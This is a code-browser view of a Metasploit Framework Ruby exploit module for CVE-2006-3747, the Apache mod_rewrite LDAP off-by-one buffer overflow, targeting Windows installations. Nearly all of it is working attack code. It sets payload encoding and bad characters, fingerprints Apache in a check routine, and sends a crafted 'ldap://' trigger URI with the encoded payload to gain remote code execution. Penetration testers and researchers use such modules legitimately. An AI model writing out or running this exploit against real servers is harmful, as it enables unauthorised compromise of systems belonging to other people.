root / modules / exploits / windows / http / apache_mod_rewrite_ldap.rb @ master
History | View | Annotate | Download (2.7 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = GreatRanking |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::HttpClient |
| 19 |
|
| 20 |
def initialize(info = {}) |
| 21 |
super(update_info(info,
|
| 22 |
'Name' => 'Apache module mod_rewrite LDAP protocol Buffer Overflow', |
| 23 |
'Description' => %q{ |
| 24 |
This module exploits the mod_rewrite LDAP protocol scheme handling |
| 25 |
flaw discovered by Mark Dowd, which produces an off-by-one overflow. |
| 26 |
Apache versions 1.3.29-36, 2.0.47-58, and 2.2.1-2 are vulnerable. |
| 27 |
This module requires REWRITEPATH to be set accurately. In addition, |
| 28 |
the target must have 'RewriteEngine on' configured, with a specific |
| 29 |
'RewriteRule' condition enabled to allow for exploitation. |
| 30 |
|
| 31 |
The flaw affects multiple platforms, however this module currently |
| 32 |
only supports Windows based installations. |
| 33 |
},
|
| 34 |
'Author' => 'patrick', |
| 35 |
'Version' => '$Revision$', |
| 36 |
'References' =>
|
| 37 |
[ |
| 38 |
[ 'CVE', '2006-3747' ], |
| 39 |
[ 'OSVDB', '27588' ], |
| 40 |
[ 'BID', '19204' ], |
| 41 |
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2006-07/0514.html' ], |
| 42 |
[ 'URL', 'http://www.milw0rm.com/exploits/3680' ], |
| 43 |
[ 'URL', 'http://www.milw0rm.com/exploits/3996' ], |
| 44 |
[ 'URL', 'http://www.milw0rm.com/exploits/2237' ], |
| 45 |
], |
| 46 |
'DefaultOptions' =>
|
| 47 |
{
|
| 48 |
'EXITFUNC' => 'thread', |
| 49 |
}, |
| 50 |
'Privileged' => true, |
| 51 |
'Platform' => ['win'], # 'linux'], |
| 52 |
'Payload' =>
|
| 53 |
{
|
| 54 |
'Space' => 636, |
| 55 |
'BadChars' => "\x00\x0a\x0d\x20", |
| 56 |
'EncoderType' => Msf::Encoder::Type::AlphanumUpper, |
| 57 |
'StackAdjustment' => -3500, |
| 58 |
'DisableNops' => 'True', |
| 59 |
}, |
| 60 |
'Targets' =>
|
| 61 |
[ |
| 62 |
[ 'Automatic', {} ], # patrickw tested OK 20090310 win32 |
| 63 |
], |
| 64 |
'DisclosureDate' => 'Jul 28 2006', |
| 65 |
'DefaultTarget' => 0)) |
| 66 |
|
| 67 |
register_options( |
| 68 |
[ |
| 69 |
OptString.new('REWRITEPATH', [true, "The mod_rewrite URI path", "rewrite_path"]), |
| 70 |
], self.class)
|
| 71 |
end
|
| 72 |
|
| 73 |
|
| 74 |
def check |
| 75 |
res = send_request_raw({
|
| 76 |
'uri' => '/', |
| 77 |
'version' => '1.1', |
| 78 |
}, 2)
|
| 79 |
|
| 80 |
if (res.to_s =~ /Apache/) # This could be smarter. |
| 81 |
return Exploit::CheckCode::Detected |
| 82 |
end
|
| 83 |
return Exploit::CheckCode::Safe |
| 84 |
|
| 85 |
end
|
| 86 |
|
| 87 |
def exploit |
| 88 |
|
| 89 |
# On Linux Apache, it is possible to overwrite EIP by
|
| 90 |
# sending ldap://<buf> ... TODO patrickw
|
| 91 |
|
| 92 |
trigger = '/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90'
|
| 93 |
|
| 94 |
print_status("Sending payload.")
|
| 95 |
send_request_raw({
|
| 96 |
'uri' => '/' + datastore['REWRITEPATH'] + trigger + payload.encoded, |
| 97 |
'version' => '1.0', |
| 98 |
}, 2)
|
| 99 |
handler |
| 100 |
end
|
| 101 |
end
|
| 102 |
|